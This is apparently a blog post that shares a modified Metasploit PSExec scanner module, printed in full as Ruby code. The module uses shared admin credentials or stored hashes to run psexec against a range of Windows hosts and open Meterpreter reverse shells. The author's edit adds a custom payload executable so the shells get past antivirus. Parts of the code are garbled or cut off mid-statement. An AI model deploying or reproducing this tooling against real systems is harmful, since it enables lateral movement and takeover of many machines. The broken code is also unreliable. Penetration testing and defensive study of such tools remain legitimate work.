Last year DarkOperator(Carlos Perez) released an awesome auxiliary module for the Metasploit Framework: the PSExec Scanner Auxiliary Module. This module allows you to use a set of credentials (or hashes) to run the psexec Metasploit module against a list of hosts. A very handy trick when you have a shared local admin account and want to get shells on a bunch of machines where those admin credentials work.
I simply added a few lines to his script that adds the EXE::Custom option, which allows you to specify a custom binary to use as a payload rather than have the psexec module create one on the fly. This is useful if you like to use a custom executable that already bypasses AV, since the stock Metasploit payloads often get caught by AV’s. You set the EXE::Custom option like you would any other option is msf, e.g. “set EXE::Custom /tmp/samba/revshell.exe”.
Be forewarned: Using the custom binary can take a little while longer to pop the box than when you run the module with the default options.
Below is the original script with my edits/additions highlighted. You can download the edited script here
## # $Id$ ## ## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## #Slightly modified by pipefish to add the EXE::Custom option require 'msf/core' require 'rex' class Metasploit3 'Auxiliary PSExec Scanner', 'Description' => %q{ PSExec scanner module that will run a psexec attack against a range of hosts using either a set of credentials provided or the credential saved in the current workspace database. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Version' => '$Revision$' )) register_options( [ OptString.new('SMBUser', [false, 'SMB Username', nil]), OptString.new('SMBPass', [false, 'SMB Password', nil]), OptString.new('SMBDomain', [true, "SMB Domain", 'WORKGROUP']), OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]), OptString.new('RHOSTS', [true, 'Range of hosts to scan.', nil]), OptInt.new('LPORT', [true, 'Local Port for payload to connect.', nil]), OptString.new('LHOST', [true, 'Local Hosts for payload to connect.', nil]), OptString.new('PAYLOAD', [true, 'Payload to use against Windows host', "windows/meterpreter/reverse_tcp"]), OptEnum.new('TYPE', [false, 'Type of credentials to use, manual for provided one, db for those found on the database', 'manual', ['db','manual']]), OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.", ""]), OptString.new('EXE::Custom', [false, 'Use custom exe instead of automatically generating a payload exe', nil]), OptBool.new('HANDLER', [ false, 'Start an Exploit Multi Handler to receive the connection', true]), ], self.class) # no need for it deregister_options('RPORT') end def setup() # Set variables pay_name = datastore['PAYLOAD'] lhost = datastore['LHOST'] lport = datastore['LPORT'] opts = datastore['OPTIONS'] if datastore['TYPE'] == "db" print_status("Using the credentials found in the workspace database") collect_hashes() else print_status("Using the username and password provided") end @pay = create_payload(pay_name,lhost,lport,opts) create_multihand(pay_name,lhost,lport) if datastore['HANDLER'] end # Run Method for when run command is issued def run_host(ip) if check_port(ip) if datastore['TYPE'] == "manual" if not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil? user = datastore['SMBUser'] pass = datastore['SMBPass'] dom = datastore['SMBDomain'] payload = datastore['PAYLOAD'] custexe = datastore['EXE::Custom'] print_status("Trying #{user}:#{pass}") psexec(ip,user,pass,dom,payload,custexe) return end else @creds.each do |c| user,pass = c.split(" ") dom = datastore['SMBDomain'] payload = datastore['PAYLOAD'] custexe = datastore['EXE::Custom'] print_status("Trying #{user}:#{pass}") psexec(ip,user,pass,dom,payload,custexe) end end else return end end ## Run psexec on a given IP def psexec(ip,user,pass,dom,payload,custexe) psexec = framework.modules.create("exploit/windows/smb/psexec") psexec.share_datastore(@pay.datastore) psexec.datastore['PAYLOAD'] = payload psexec.datastore['MODULE_OWNER'] = self.owner psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"] psexec.datastore['RHOST'] = ip psexec.datastore['SMBUser'] = user psexec.datastore['SMBPass'] = pass psexec.datastore['SMBDomain'] = dom if not datastore['EXE::Custom'].nil? psexec.datastore['EXE::Custom'] = custexe end psexec.datastore['SHARE'] = datastore['SHARE'] psexec.datastore['RPORT'] = 445 psexec.datastore['ExitOnSession'] = false psexec.datastore['DisablePayloadHandler'] = false psexec.datastore['EXITFUNC'] = 'process' psexec.datastore['VERBOSE'] = true psexec.datastore['DisablePayloadHandler'] = true psexec.datastore['ForceBlocking'] = true psexec.options.validate(psexec.datastore) psexec.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'Payload' => payload, 'Target' => 0, 'ForceBlocking' => true, 'RunAsJob' => false) Rex::ThreadSafe.sleep(4) end def check_port(ip) status = false timeout = 1000 port = 445 begin s = connect(false, { 'RPORT' => 445, 'RHOST' => ip, 'ConnectTimeout' => (timeout / 1000.0) } ) print_status("#{ip}:#{port} - TCP OPEN") status = true rescue ::Rex::ConnectionRefused vprint_status("#{ip}:#{port} - TCP closed") rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error rescue ::Interrupt raise $! rescue ::Exception => e print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}") ensure disconnect(s) rescue nil end return status end def collect_hashes type = "smb_hash|password" @creds = [] print_status("Collecting Hashes from the DB") framework.db.workspace.creds.each do |cred| if cred.active and cred.ptype =~ /#{type}/ and cred.user !~ /(SUPPORT|HelpAssistant|TsInternetUser|IWAM|Guest)/ @creds < mul.datastore['PAYLOAD'], 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'RunAsJob' => true ) else print_error("Could not start handler!") end end end